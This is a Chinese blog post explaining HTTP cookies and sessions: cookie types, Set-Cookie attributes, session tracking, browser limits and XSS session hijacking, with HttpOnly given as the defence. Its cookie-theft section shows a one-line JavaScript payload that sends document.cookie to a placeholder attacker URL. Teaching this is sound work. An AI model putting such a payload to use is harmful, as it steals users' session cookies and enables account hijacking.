资讯专栏INFORMATION COLUMN

cookie和session那些事

xiaoxiaozi / 3231人阅读

摘要:服务器生成的用以标识客户信息的一般被称为而通过一些手段获取其它用户的攻击就叫劫持设置一个搞掂了

cookie history

cookie最初是由网景公司开发的,现在所有主要的浏览器都支持它.

type
cookie分为两种:会话cookie和持久cookie.
会话cookie是一种临时的cookie,它记录用户的访问站点的设置偏好.用户在退出浏览器就会被删除.
持久cookie是存储在硬盘上的,通常用持久cookie维护用户周期性访问的站点的配置文件或用户名.
会话cookie和持久cookie的区别在于有没有过期时间,没有过期时间就是会话cookie.
cookie罐

cookie的基本思想是让浏览器积累一组服务器特有的信息,每次访问这个服务器时都将信息提供给它.

浏览器负责存储cookie信息,所以这系统称为客户端侧状态(client-side state).

此cookie的正是规范名称为HTTP状态管理机制(HTTP state management mechanism).

站点使用不同的cookie

很多web站点都会与第三方厂商达成协议,由其来管理广告.用户在访问多个由相同广告公司提供服务的站点时.(由于域名是匹配)浏览器就会回送设置好的持久cookie. 营销公司可以将此技术与Referer首部结合, 暗里构建用户文档收集用户习惯.

第三方cookie
当你访问A网站时,a服务器设置B网站的cookie,当你访问B网站时,客户端就把cookie发给b服务器,b服务器就收到了cookie.做相应的处理.
cookie版本0属性

在服务器上可以在响应的首部加Set-cookie的属性控制哪些站点可以使用cookie.
Set-cookie: user="mary"; expires="Manday, 01-01-1999 01-01-01"; pref=password; path=/secure/; secure domain="xxx.com"
NAME=VALUE:强制,键值
expires: 过期时间(Weekday, DD-MM-YY HH:MM:SS GMT)
path: 路径
secure: 在https时发送

cookie版本1新增属性

Version: 强制,使用cookie的版本
Comment: 告诉客户端如何使用
CommentURL: 指向详细描述这cookie目的和策略的文档
Discard:客户端在程序终止时,放弃这个cookie
Max-Age:以秒单位,设置cookie的过期时间
port:端口号

会话跟踪

在用户访问站点进行多项事务可用cookie进行对用户的跟踪.在用户访问站点时,就会启动事务链,在web服务器会使用重定向,URL重写以及cookie设置.

a-客户端打开xxx.com网页
b-服务器将客户端重定向到其他URL上(Location: http://www.xxx.com/redirect.html)
c-客户端向重定向的URL发请求
d-服务端响应上送出两个会话cookie,将用户重定向到另一个URL(Location: http://www.xxx.com/redirect.html/cookie[key])
e-客户端向重定向的URL发请求,并把cookie附加在请求
f-服务器收到请求,在送两个cookie,在重定向(Location: http://www.xxx.com/end.html)
g-客户端向重定向的URL发请求,并附上所有的cookie
h-服务器回送内容
(来自于amazon.com栗子)
cache

可以在请求头注明cookie不可缓存

Cache-Control: no-cache="Set-Cookie"
Max Length

IE6及更低版本限制每个域名最多20个cookie
IE7和之后版本每个域名最多50个。IE7最初是支持每个域名最大20个cookie,之后被微软的一个补丁所更新
Firefox限制每个域最多50个cookie
Opera限制每个域最多30个cookie
Safari和Chrome对于每个域的cookie数量限制没有硬性规定

cookie窃取

攻击者 => a 被攻击者 => b
a服务器的文件 => http://xxx.com/xxx.php
a只要在b的服务器上加一行代码,就能获取用户在b网站的cookie

location.href="http://xxx.com/xxx.php?cookie=" + document.cookie
short

缺点是不太安全,敏感信息最好别用cookie存储

session

session是一个抽象概念,服务端需要记录用户的状态时,就需要用某种机制来识具体的用户,这机制就是session机制.服务端session的数据结构,用来跟踪用户的状态,这个数据可以保存在集群、数据库、文件(服务器) .

实现

第一次创建Session的时候,服务端会在HTTP协议中告诉客户端,需要在 Cookie 里面记录一个Session ID,以后每次请求把这个会话ID发送到服务器.
每次HTTP请求的时候,客户端都会发送相应的Cookie信息到服务端.

XSS劫持

跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持

set-cookie设置一个HttpOnly搞掂了

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/83621.html

相关文章

  • cookiesession那些

    摘要:服务器生成的用以标识客户信息的一般被称为而通过一些手段获取其它用户的攻击就叫劫持设置一个搞掂了 cookie history cookie最初是由网景公司开发的,现在所有主要的浏览器都支持它. type cookie分为两种:会话cookie和持久cookie. 会话cookie是一种临时的cookie,它记录用户的访问站点的设置偏好.用户在退出浏览器就会被删除. 持久cookie是存...

    hedzr 评论0 收藏0
  • 我们来聊聊CookieSessionStorage的那些

    摘要:目的是克服由所带来的一些限制,当数据需要被严格控制在客户端时,不需要持续的将数据发回服务器。的生命周期是在仅在当前会话下有效。但是在关闭了浏览器窗口后就会被销毁。删除单个数据,根据键值移除对应的信息。 导语 我们在做项目的时候,经常把Cookie和Session挂在嘴边,可实际对于他们了解的也是很少,只是会使用,但这远远不够,熟练的掌握他们的特性才能把项目做的更好。下面我们就来认识一下...

    ytwman 评论0 收藏0
  • 聊聊鉴权那些

    摘要:什么是鉴权鉴权是指验证用户是否拥有访问系统的权利。传统的鉴权是通过密码来验证的。这种方式的前提是,每个获得密码的用户都已经被授权。接下来就一一介绍一下这三种鉴权方式。 在系统级项目开发时常常会遇到一个问题就是鉴权,身为一个前端来说可能我们距离鉴权可能比较远,一般来说我们也只是去应用,并没有对权限这一部分进行深入的理解。 什么是鉴权 鉴权:是指验证用户是否拥有访问系统的权利。传统的鉴权是...

    wslongchen 评论0 收藏0
  • 关于Cookie那些

    摘要:假设有两个域名域名域名域名有分级的概念,也就是说域名与域名都是的子域名,又是的子域名在域名所使用的服务中,可以设置域名在服务端设置的时候,设置为或没有区别,注意前面的点,即只要是为显式的声明,前面带不带点没有区别。 1 Cookie简介 Cookie是由W3C组织提出,最早由NetScape社区发展的一种机制。Cookie是存储于访问者的计算机中的变量。每当同一台计算机通过浏览器请求某...

    sf_wangchong 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<